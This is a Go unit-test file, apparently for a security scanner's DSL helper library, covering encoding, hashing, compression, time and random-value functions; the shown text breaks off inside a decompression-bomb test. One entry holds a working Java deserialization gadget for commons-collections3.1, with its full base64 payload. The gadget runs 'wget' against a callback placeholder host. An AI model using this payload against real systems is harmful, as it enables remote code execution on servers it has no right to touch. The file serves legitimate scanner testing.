-
Notifications
You must be signed in to change notification settings - Fork 22
/
dsl_test.go
559 lines (491 loc) · 28.4 KB
/
dsl_test.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
package dsl
import (
"fmt"
"math"
"os"
"regexp"
"testing"
"time"
"github.com/Knetic/govaluate"
"github.com/stretchr/testify/require"
"golang.org/x/exp/maps"
)
func TestIndex(t *testing.T) {
index, err := govaluate.NewEvaluableExpressionWithFunctions("index(split(url, '.', -1), 1) == 'example'", DefaultHelperFunctions)
require.Nil(t, err, "could not compile index")
result, err := index.Evaluate(map[string]interface{}{"url": "https://www.example.com"})
require.Nil(t, err, "could not evaluate index")
require.Equal(t, true, result, "could not get index data")
}
func TestDSLURLEncodeDecode(t *testing.T) {
encoded, err := DefaultHelperFunctions["url_encode"]("&test\"")
require.Nil(t, err, "could not url encode")
require.Equal(t, "%26test%22", encoded, "could not get url encoded data")
decoded, err := DefaultHelperFunctions["url_decode"]("%26test%22")
require.Nil(t, err, "could not url encode")
require.Equal(t, "&test\"", decoded, "could not get url decoded data")
}
func TestDSLTimeComparison(t *testing.T) {
compiled, err := govaluate.NewEvaluableExpressionWithFunctions("unixtime() > not_after", DefaultHelperFunctions)
require.Nil(t, err, "could not compare time")
result, err := compiled.Evaluate(map[string]interface{}{"not_after": float64(time.Now().Unix() - 1000)})
require.Nil(t, err, "could not evaluate compare time")
require.Equal(t, true, result, "could not get url encoded data")
}
func TestDSLGzipSerialize(t *testing.T) {
compiled, err := govaluate.NewEvaluableExpressionWithFunctions("gzip(\"hello world\")", DefaultHelperFunctions)
require.Nil(t, err, "could not compile encoder")
result, err := compiled.Evaluate(make(map[string]interface{}))
require.Nil(t, err, "could not evaluate compare time")
compiled, err = govaluate.NewEvaluableExpressionWithFunctions("gzip_decode(data)", DefaultHelperFunctions)
require.Nil(t, err, "could not compile decoder")
data, err := compiled.Evaluate(map[string]interface{}{"data": result})
require.Nil(t, err, "could not evaluate decoded data")
require.Equal(t, "hello world", data.(string), "could not get gzip encoded data")
}
func TestDslFunctionSignatures(t *testing.T) {
createSignatureError := func(signature string) string {
return fmt.Errorf("%w. correct method signature %q", ErrInvalidDslFunction, signature).Error()
}
errToUpperSignature := createSignatureError("to_upper(arg1 interface{}) interface{}")
errRemoveBadCharsSignature := createSignatureError("remove_bad_chars(arg1, arg2 interface{}) interface{}")
testCases := []struct {
methodName string
arguments []interface{}
expected interface{}
err string
}{
{"to_upper", []interface{}{}, nil, errToUpperSignature},
{"to_upper", []interface{}{"a"}, "A", ""},
{"toupper", []interface{}{"a"}, "A", ""},
{"to_upper", []interface{}{"a", "b", "c"}, nil, errToUpperSignature},
{"remove_bad_chars", []interface{}{}, nil, errRemoveBadCharsSignature},
{"remove_bad_chars", []interface{}{"a"}, nil, errRemoveBadCharsSignature},
{"remove_bad_chars", []interface{}{"abba baab", "b"}, "aa aa", ""},
{"remove_bad_chars", []interface{}{"a", "b", "c"}, nil, errRemoveBadCharsSignature},
}
helperFunctions := DefaultHelperFunctions
for _, currentTestCase := range testCases {
methodName := currentTestCase.methodName
t.Run(methodName, func(t *testing.T) {
actualResult, err := helperFunctions[methodName](currentTestCase.arguments...)
if currentTestCase.err == "" {
require.Nil(t, err)
} else {
require.Equal(t, err.Error(), currentTestCase.err)
}
require.Equal(t, currentTestCase.expected, actualResult)
})
}
}
func TestGetPrintableDslFunctionSignatures(t *testing.T) {
expected := ` aes_cbc(arg1, arg2, arg3 interface{}) interface{}
aes_gcm(arg1, arg2 interface{}) interface{}
base64(arg1 interface{}) interface{}
base64_decode(arg1 interface{}) interface{}
base64_py(arg1 interface{}) interface{}
bin_to_dec(arg1 interface{}) interface{}
compare_versions(firstVersion, constraints ...string) bool
concat(args ...interface{}) string
contains(arg1, arg2 interface{}) interface{}
contains_all(body interface{}, substrs ...string) bool
contains_any(body interface{}, substrs ...string) bool
count(str, substr string) int
date_time(dateTimeFormat string, optionalUnixTime interface{}) string
dec_to_hex(arg1 interface{}) interface{}
deflate(arg1 interface{}) interface{}
ends_with(str string, suffix ...string) bool
equals_any(arg1, arg2 interface{}) interface{}
generate_java_gadget(arg1, arg2, arg3 interface{}) interface{}
generate_jwt(jsonString, algorithm, optionalSignature string, optionalMaxAgeUnix interface{}) string
gzip(arg1 interface{}) interface{}
gzip_decode(arg1 interface{}) interface{}
hex_decode(arg1 interface{}) interface{}
hex_encode(arg1 interface{}) interface{}
hex_to_dec(arg1 interface{}) interface{}
hmac(arg1, arg2, arg3 interface{}) interface{}
html_escape(arg1 interface{}) interface{}
html_unescape(arg1 interface{}) interface{}
index(arg1, arg2 interface{}) interface{}
inflate(arg1 interface{}) interface{}
ip_format(arg1, arg2 interface{}) interface{}
jarm(arg1 interface{}) interface{}
join(separator string, elements ...interface{}) string
join(separator string, elements []interface{}) string
json_minify(arg1 interface{}) interface{}
json_prettify(arg1 interface{}) interface{}
len(arg1 interface{}) interface{}
line_ends_with(str string, suffix ...string) bool
line_starts_with(str string, prefix ...string) bool
llm_prompt(arg1 interface{}) interface{}
md5(arg1 interface{}) interface{}
mmh3(arg1 interface{}) interface{}
oct_to_dec(arg1 interface{}) interface{}
padding(arg1, arg2, arg3, arg4 interface{}) interface{}
print_debug(args ...interface{})
public_ip() string
rand_base(length uint, optionalCharSet string) string
rand_char(optionalCharSet string) string
rand_int(optionalMin, optionalMax uint) int
rand_ip(cidr ...string) string
rand_text_alpha(length uint, optionalBadChars string) string
rand_text_alphanumeric(length uint, optionalBadChars string) string
rand_text_numeric(length uint, optionalBadNumbers string) string
regex(arg1, arg2 interface{}) interface{}
regex_all(arg1, arg2 interface{}) interface{}
regex_any(arg1, arg2 interface{}) interface{}
remove_bad_chars(arg1, arg2 interface{}) interface{}
repeat(arg1, arg2 interface{}) interface{}
replace(arg1, arg2, arg3 interface{}) interface{}
replace_regex(arg1, arg2, arg3 interface{}) interface{}
reverse(arg1 interface{}) interface{}
sha1(arg1 interface{}) interface{}
sha256(arg1 interface{}) interface{}
sha512(arg1 interface{}) interface{}
sort(elements ...interface{}) []interface{}
sort(input number) string
sort(input string) string
split(input string, n int) []string
split(input string, separator string, optionalChunkSize) []string
starts_with(str string, prefix ...string) bool
substr(str string, start int, optionalEnd int)
to_lower(arg1 interface{}) interface{}
to_number(arg1 interface{}) interface{}
to_string(arg1 interface{}) interface{}
to_unix_time(input string, optionalLayout string) int64
to_upper(arg1 interface{}) interface{}
trim(arg1, arg2 interface{}) interface{}
trim_left(arg1, arg2 interface{}) interface{}
trim_prefix(arg1, arg2 interface{}) interface{}
trim_right(arg1, arg2 interface{}) interface{}
trim_space(arg1 interface{}) interface{}
trim_suffix(arg1, arg2 interface{}) interface{}
uniq(elements ...interface{}) []interface{}
uniq(input number) string
uniq(input string) string
unix_time(optionalSeconds uint) float64
unpack(arg1, arg2 interface{}) interface{}
url_decode(arg1 interface{}) interface{}
url_encode(arg1 interface{}) interface{}
wait_for(seconds uint)
xor(args ...interface{}) interface{}
zip(file_entry string, content string, ... ) []byte
zlib(arg1 interface{}) interface{}
zlib_decode(arg1 interface{}) interface{}
`
signatures := GetPrintableDslFunctionSignatures(true)
require.Equal(t, expected, signatures)
coloredSignatures := GetPrintableDslFunctionSignatures(false)
// nolint
require.Contains(t, coloredSignatures, `[93maes_cbc[0m(arg1, arg2, arg3 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m`, "could not get colored signatures")
}
func TestDslExpressions(t *testing.T) {
dslExpressions := map[string]interface{}{
`base64("Hello")`: "SGVsbG8=",
`base64(1234)`: "MTIzNA==",
`base64_py("Hello")`: "SGVsbG8=\n",
`hex_encode("aa")`: "6161",
`html_escape("<body>test</body>")`: "<body>test</body>",
`html_unescape("<body>test</body>")`: "<body>test</body>",
`md5("Hello")`: "8b1a9953c4611296a827abf8c47804d7",
`md5(1234)`: "81dc9bdb52d04dc20036dbd8313ed055",
`mmh3("Hello")`: "316307400",
`remove_bad_chars("abcd", "bc")`: "ad",
`replace("Hello", "He", "Ha")`: "Hallo",
`concat("Hello", 123, "world")`: "Hello123world",
`join("_", "Hello", 123, "world")`: "Hello_123_world",
`repeat("a", 5)`: "aaaaa",
`repeat("a", "5")`: "aaaaa",
`repeat("../", "5")`: "../../../../../",
`repeat(5, 5)`: "55555",
`replace_regex("He123llo", "(\\d+)", "")`: "Hello",
`reverse("abc")`: "cba",
`sha1("Hello")`: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0",
`sha256("Hello")`: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969",
`sha512("Hello")`: "3615f80c9d293ed7402687f94b22d58e529b8cc7916f8fac7fddf7fbd5af4cf777d3d795a7a00a16bf7e7f3fb9561ee9baae480da9fe7a18769e71886b03f315",
`to_lower("HELLO")`: "hello",
`to_upper("hello")`: "HELLO",
`trim("aaaHelloddd", "ad")`: "Hello",
`trim_left("aaaHelloddd", "ad")`: "Helloddd",
`trim_prefix("aaHelloaa", "aa")`: "Helloaa",
`trim_right("aaaHelloddd", "ad")`: "aaaHello",
`trim_space(" Hello ")`: "Hello",
`trim_suffix("aaHelloaa", "aa")`: "aaHello",
`url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")`: "https://projectdiscovery.io?test=1",
`url_encode("https://projectdiscovery.io/test?a=1")`: "https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1",
`gzip("Hello")`: "\x1f\x8b\b\x00\x00\x00\x00\x00\x00\xff\xf2H\xcd\xc9\xc9\a\x04\x00\x00\xff\xff\x82\x89\xd1\xf7\x05\x00\x00\x00",
`zip("aaa.txt","abcd")`: ([]byte("PK\x03\x04\x14\x00\x08\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00aaa.txtJLJN\x01\x04\x00\x00\xff\xffPK\x07\x08\x11\xcd\x82\xed\n\x00\x00\x00\x04\x00\x00\x00PK\x01\x02\x14\x00\x14\x00\x08\x00\x08\x00\x00\x00\x00\x00\x11\xcd\x82\xed\n\x00\x00\x00\x04\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00aaa.txtPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x005\x00\x00\x00?\x00\x00\x00\x00\x00")),
`zlib("Hello")`: "\x78\x9c\xf2\x48\xcd\xc9\xc9\x07\x04\x00\x00\xff\xff\x05\x8c\x01\xf5",
`zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))`: "Hello",
`deflate("Hello")`: "\xf2\x48\xcd\xc9\xc9\x07\x04\x00\x00\xff\xff",
`inflate(hex_decode("f348cdc9c90700"))`: "Hello",
`inflate(hex_decode("f248cdc9c907040000ffff"))`: "Hello",
`gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))`: "Hello",
`generate_java_gadget("commons-collections3.1", "wget https://{{interactsh-url}}", "base64")`: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2Bj/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2BABtzcQB%2BABN1cQB%2BABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB%2BABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAH3dnZXQgaHR0cHM6Ly97e2ludGVyYWN0c2gtdXJsfX10AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==",
`generate_jwt("{\"name\":\"John Doe\",\"foo\":\"bar\"}", "HS256", "hello-world")`: []byte("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIiLCJuYW1lIjoiSm9obiBEb2UifQ.EsrL8lIcYJR_Ns-JuhF3VCllCP7xwbpMCCfHin_WT6U"),
`base64_decode("SGVsbG8=")`: "Hello",
`hex_decode("6161")`: "aa",
`len("Hello")`: float64(5),
`len(1234)`: float64(4),
`len(split("1.2.3.4",'.',-1))`: float64(4),
`contains("Hello", "lo")`: true,
`starts_with("Hello", "He")`: true,
`ends_with("Hello", "lo")`: true,
"line_starts_with('Hi\nHello', 'He')": true, // back quotes do not support escape sequences
"line_ends_with('Hii\nHello', 'ii')": true, // back quotes do not support escape sequences
`regex("H([a-z]+)o", "Hello")`: true,
`wait_for(1)`: nil,
`padding("A","b",3,'suffix')`: "Abb",
`padding("A","b",3,'prefix')`: "bbA",
`print_debug(1+2, "Hello")`: nil,
`to_number('4')`: float64(4),
`to_string(4)`: "4",
`dec_to_hex(7001)`: "1b59",
`hex_to_dec("ff")`: float64(255),
`hex_to_dec("0xff")`: float64(255),
`oct_to_dec("0o1234567")`: float64(342391),
`oct_to_dec("1234567")`: float64(342391),
`oct_to_dec(1234567)`: float64(342391),
`bin_to_dec("0b1010")`: float64(10),
`bin_to_dec("1010")`: float64(10),
`bin_to_dec(1010)`: float64(10),
`compare_versions('v1.0.0', '<1.1.1')`: true,
`compare_versions('v1.1.1', '>v1.1.0')`: true,
`compare_versions('v1.0.0', '>v0.0.1,<v1.0.1')`: true,
`compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')`: true,
`hmac('sha1', 'test', 'scrt')`: "8856b111056d946d5c6c92a21b43c233596623c6",
`hmac('sha256', 'test', 'scrt')`: "1f1bff5574f18426eb376d6dd5368a754e67a798aa2074644d5e3fd4c90c7a92",
`hmac('sha512', 'test', 'scrt')`: "1d3fff1dbb7369c1615ffb494813146bea051ce07e5d44bdeca539653ea97656bf9d38db264cddbe6a83ea15139c8f861a7e73e10e43ad4865e852a9ee6de2e9",
`substr('xxtestxxx',2)`: "testxxx",
`substr('xxtestxxx',2,4)`: "te",
`substr('xxtestxxx',2,6)`: "test",
`sort(12453)`: "12345",
`sort("a1b2c3d4e5")`: "12345abcde",
`sort("b", "a", "2", "c", "3", "1", "d", "4")`: []string{"1", "2", "3", "4", "a", "b", "c", "d"},
`split("abcdefg", 2)`: []string{"ab", "cd", "ef", "g"},
`split("ab,cd,efg", ",", 1)`: []string{"ab,cd,efg"},
`split("ab,cd,efg", ",", 2)`: []string{"ab", "cd,efg"},
`split("ab,cd,efg", ",", "3")`: []string{"ab", "cd", "efg"},
`split("ab,cd,efg", ",", -1)`: []string{"ab", "cd", "efg"},
`split("ab,cd,efg", ",")`: []string{"ab", "cd", "efg"},
`join(" ", sort("b", "a", "2", "c", "3", "1", "d", "4"))`: "1 2 3 4 a b c d",
`uniq(123123231)`: "123",
`uniq("abcabdaabbccd")`: "abcd",
`uniq("ab", "cd", "12", "34", "12", "cd")`: []string{"ab", "cd", "12", "34"},
`join(" ", uniq("ab", "cd", "12", "34", "12", "cd"))`: "ab cd 12 34",
`join(", ", split(hex_encode("abcdefg"), 2))`: "61, 62, 63, 64, 65, 66, 67",
`json_minify("{ \"name\": \"John Doe\", \"foo\": \"bar\" }")`: "{\"foo\":\"bar\",\"name\":\"John Doe\"}",
`json_prettify("{\"foo\":\"bar\",\"name\":\"John Doe\"}")`: "{\n \"foo\": \"bar\",\n \"name\": \"John Doe\"\n}",
`ip_format('127.0.0.1', '1')`: "127.0.0.1",
`ip_format('127.0.0.1', '3')`: "0177.0.0.01",
`ip_format('127.0.0.1', '5')`: "2130706433",
`ip_format('127.0.1.0', '11')`: "127.0.256",
"unpack('>I', '\xac\xd7\t\xd0')": -272646673,
"xor('\x01\x02', '\x02\x01')": []uint8([]byte{0x3, 0x3}),
`count("projectdiscovery", "e")`: 2,
}
testDslExpressions(t, dslExpressions)
}
func TestDateTimeDSLFunction(t *testing.T) {
testDateTimeFormat := func(t *testing.T, dateTimeFormat string, dateTimeFunction *govaluate.EvaluableExpression, expectedFormattedTime string, currentUnixTime int64) {
dslFunctionParameters := map[string]interface{}{"dateTimeFormat": dateTimeFormat}
if currentUnixTime != 0 {
dslFunctionParameters["unixTime"] = currentUnixTime
}
result, err := dateTimeFunction.Evaluate(dslFunctionParameters)
require.Nil(t, err, "could not evaluate compare time")
require.Equal(t, expectedFormattedTime, result.(string), "could not get correct time format string")
}
t.Run("with unix time", func(t *testing.T) {
dateTimeFunction, err := govaluate.NewEvaluableExpressionWithFunctions("date_time(dateTimeFormat)", DefaultHelperFunctions)
require.Nil(t, err, "could not compile encoder")
currentTime := time.Now()
expectedFormattedTime := currentTime.Format("02-01-2006 15:04")
testDateTimeFormat(t, "02-01-2006 15:04", dateTimeFunction, expectedFormattedTime, 0)
testDateTimeFormat(t, "%D-%M-%Y %H:%m", dateTimeFunction, expectedFormattedTime, 0)
})
t.Run("without unix time", func(t *testing.T) {
dateTimeFunction, err := govaluate.NewEvaluableExpressionWithFunctions("date_time(dateTimeFormat, unixTime)", DefaultHelperFunctions)
require.Nil(t, err, "could not compile encoder")
currentTime := time.Now()
currentUnixTime := currentTime.Unix()
expectedFormattedTime := currentTime.Format("02-01-2006 15:04")
testDateTimeFormat(t, "02-01-2006 15:04", dateTimeFunction, expectedFormattedTime, currentUnixTime)
testDateTimeFormat(t, "%D-%M-%Y %H:%m", dateTimeFunction, expectedFormattedTime, currentUnixTime)
})
}
func TestDateTimeDslExpressions(t *testing.T) {
t.Run("date_time", func(t *testing.T) {
now := time.Now()
dslExpressions := map[string]interface{}{
`date_time("%Y-%M-%D")`: fmt.Sprintf("%02d-%02d-%02d", now.Year(), now.Month(), now.Day()),
`date_time("%Y-%M-%D", unix_time())`: fmt.Sprintf("%02d-%02d-%02d", now.Year(), now.Month(), now.Day()),
`date_time("%Y-%M-%D", 1642032000)`: time.Date(2022, 01, 13, 0, 0, 0, 0, time.UTC).Local().Format("2006-01-02"),
`date_time("%H-%m")`: fmt.Sprintf("%02d-%02d", now.Hour(), now.Minute()),
`date_time("02-01-2006", unix_time())`: now.Format("02-01-2006"),
`date_time("02-01-2006", 1642032000)`: time.Date(2022, 01, 13, 0, 0, 0, 0, time.UTC).Local().Format("02-01-2006"),
}
testDslExpressions(t, dslExpressions)
})
t.Run("to_unix_time(input string) int", func(t *testing.T) {
expectedUtcTime := time.Date(2022, 01, 13, 16, 30, 10, 0, time.UTC)
dateTimeInputs := map[string]time.Time{
// UTC time
"2022-01-13T16:30:10Z": expectedUtcTime,
"2022-01-13T16:30:10+00:00": expectedUtcTime,
"2022-01-13T16:30:10-00:00": expectedUtcTime,
// explicit time offset
"2022-01-13 16:30:10 +01:00": time.Date(2022, 01, 13, 16, 30, 10, 0, time.FixedZone("UTC+1", 60*60)),
"2022-01-13 16:30 +01:00": time.Date(2022, 01, 13, 16, 30, 0, 0, time.FixedZone("UTC+1", 60*60)),
"2022-01-13 +02:00": time.Date(2022, 01, 13, 0, 0, 0, 0, time.FixedZone("UTC+2", 2*60*60)),
"2022-01-13 -02:00": time.Date(2022, 01, 13, 0, 0, 0, 0, time.FixedZone("UTC+2", -2*60*60)),
// local time
"2022-01-13 16:30:10": time.Date(2022, 01, 13, 16, 30, 10, 0, time.Local),
"2022-01-13 16:30": time.Date(2022, 01, 13, 16, 30, 0, 0, time.Local),
"2022-01-13": time.Date(2022, 01, 13, 0, 0, 0, 0, time.Local),
}
for dateTimeInput, expectedTime := range dateTimeInputs {
dslExpression := fmt.Sprintf(`to_unix_time("%s")`, dateTimeInput)
t.Run(dslExpression, func(t *testing.T) {
actual := evaluateExpression(t, dslExpression)
require.Equal(t, expectedTime.Unix(), actual)
})
}
})
t.Run("to_unix_time(input string, layout string) int", func(t *testing.T) {
testScenarios := []struct {
inputDateTime string
layout string
expectedTime time.Time
}{
{"2022-01-13T16:30:10+02:00", time.RFC3339, time.Date(2022, 01, 13, 16, 30, 10, 0, time.FixedZone("UTC+2", 2*60*60))},
{"13-01-2022 16:30:10", "02-01-2006 15:04:05", time.Date(2022, 01, 13, 16, 30, 10, 0, time.UTC)},
{"13-01-2022 16:30", "02-01-2006 15:04", time.Date(2022, 01, 13, 16, 30, 0, 0, time.UTC)},
{"13-01-2022", "02-01-2006", time.Date(2022, 01, 13, 0, 0, 0, 0, time.UTC)},
{"13-01-2022 16:30:10 +02:00", "02-01-2006 15:04:05 Z07:00", time.Date(2022, 01, 13, 16, 30, 10, 0, time.FixedZone("UTC+2", 2*60*60))},
{"13-01-2022 16:30 +01:00", "02-01-2006 15:04 Z07:00", time.Date(2022, 01, 13, 16, 30, 0, 0, time.FixedZone("UTC+1", 60*60))},
{"13-01-2022 -03:30", "02-01-2006 Z07:00", time.Date(2022, 01, 13, 0, 0, 0, 0, time.FixedZone("UTC-3:30", -3*60*60-30*60))},
}
for _, testScenario := range testScenarios {
dslExpression := fmt.Sprintf(`to_unix_time("%s", "%s")`, testScenario.inputDateTime, testScenario.layout)
t.Run(dslExpression, func(t *testing.T) {
actual := evaluateExpression(t, dslExpression)
require.Equal(t, testScenario.expectedTime.Unix(), actual)
})
}
})
}
func TestRandDslExpressions(t *testing.T) {
randDslExpressions := map[string]string{
`rand_base(10, "")`: `[a-zA-Z0-9]{10}`,
`rand_base(5, "abc")`: `[abc]{5}`,
`rand_base(5)`: `[a-zA-Z0-9]{5}`,
`rand_char("abc")`: `[abc]{1}`,
`rand_char("")`: `[a-zA-Z0-9]{1}`,
`rand_char()`: `[a-zA-Z0-9]{1}`,
`rand_ip("192.168.0.0/24")`: `(?:[0-9]{1,3}\.){3}[0-9]{1,3}$`,
`rand_ip("2001:db8::/64")`: `(?:[A-Fa-f0-9]{0,4}:){0,7}[A-Fa-f0-9]{0,4}$`,
`rand_text_alpha(10, "abc")`: `[^abc]{10}`,
`rand_text_alpha(10, "")`: `[a-zA-Z]{10}`,
`rand_text_alpha(10)`: `[a-zA-Z]{10}`,
`rand_text_alphanumeric(10, "ab12")`: `[^ab12]{10}`,
`rand_text_alphanumeric(5, "")`: `[a-zA-Z0-9]{5}`,
`rand_text_alphanumeric(10)`: `[a-zA-Z0-9]{10}`,
`rand_text_numeric(10, 123)`: `[^123]{10}`,
`rand_text_numeric(10)`: `\d{10}`,
}
for randDslExpression, regexTester := range randDslExpressions {
t.Run(randDslExpression, func(t *testing.T) {
actualResult := evaluateExpression(t, randDslExpression)
compiledTester := regexp.MustCompile(fmt.Sprintf("^%s$", regexTester))
fmt.Printf("%s: \t %v\n", randDslExpression, actualResult)
stringResult := toString(actualResult)
require.True(t, compiledTester.MatchString(stringResult), "The result '%s' of '%s' expression does not match the expected regex: '%s'", actualResult, randDslExpression, regexTester)
})
}
}
func TestRandIntDslExpressions(t *testing.T) {
randIntDslExpressions := map[string]func(int) bool{
`rand_int(5, 9)`: func(i int) bool {
return i >= 5 && i <= 9
},
`rand_int(9)`: func(i int) bool {
return i >= 9
},
`rand_int()`: func(i int) bool {
return i >= 0 && i <= math.MaxInt32
},
}
for randIntDslExpression, tester := range randIntDslExpressions {
t.Run(randIntDslExpression, func(t *testing.T) {
actualResult := evaluateExpression(t, randIntDslExpression)
actualIntResult := actualResult.(int)
require.True(t, tester(actualIntResult), "The '%d' result of the '%s' expression, does not match th expected validation function.", actualIntResult, randIntDslExpression)
})
}
}
func TestCachingLayer(t *testing.T) {
var (
callCount int
expectedResult = "static value"
cacheableFunc = dslFunction{
IsCacheable: true,
Name: "cacheable_func",
NumberOfArgs: 0,
Signatures: nil,
ExpressionFunction: func(args ...interface{}) (interface{}, error) {
time.Sleep(time.Second)
callCount++
return expectedResult, nil
},
}
)
for i := 0; i < 100; i++ {
result := evaluateExpression(t, "cacheable_func()", cacheableFunc)
require.Equal(t, expectedResult, result)
}
require.Equal(t, 1, callCount)
}
func evaluateExpression(t *testing.T, dslExpression string, functions ...dslFunction) interface{} {
helperFunctions := maps.Clone(DefaultHelperFunctions)
for _, function := range functions {
helperFunctions[function.Name] = function.Exec
}
compiledExpression, err := govaluate.NewEvaluableExpressionWithFunctions(dslExpression, helperFunctions)
require.NoError(t, err, "Error while compiling the %q expression", dslExpression)
actualResult, err := compiledExpression.Evaluate(make(map[string]interface{}))
require.NoError(t, err, "Error while evaluating the compiled %q expression", dslExpression)
for _, negativeTestWord := range []string{"panic", "invalid", "error"} {
require.NotContains(t, fmt.Sprintf("%v", actualResult), negativeTestWord)
}
return actualResult
}
func testDslExpressions(t *testing.T, dslExpressions map[string]interface{}) {
for dslExpression, expectedResult := range dslExpressions {
t.Run(dslExpression, func(t *testing.T) {
actualResult := evaluateExpression(t, dslExpression)
if expectedResult != nil {
require.Equal(t, expectedResult, actualResult)
}
fmt.Printf("%s: \t %v\n", dslExpression, actualResult)
})
}
}
func Test_Zlib_decompression_bomb(t *testing.T) {
compressedFile := "testdata/zlib_bomb.zlib"
data, err := os.ReadFile(compressedFile)
require.NoError(t, err)
dslExpression := `zlib_decode(body)`
helperFunctions := maps.Clone(DefaultHelperFunctions)
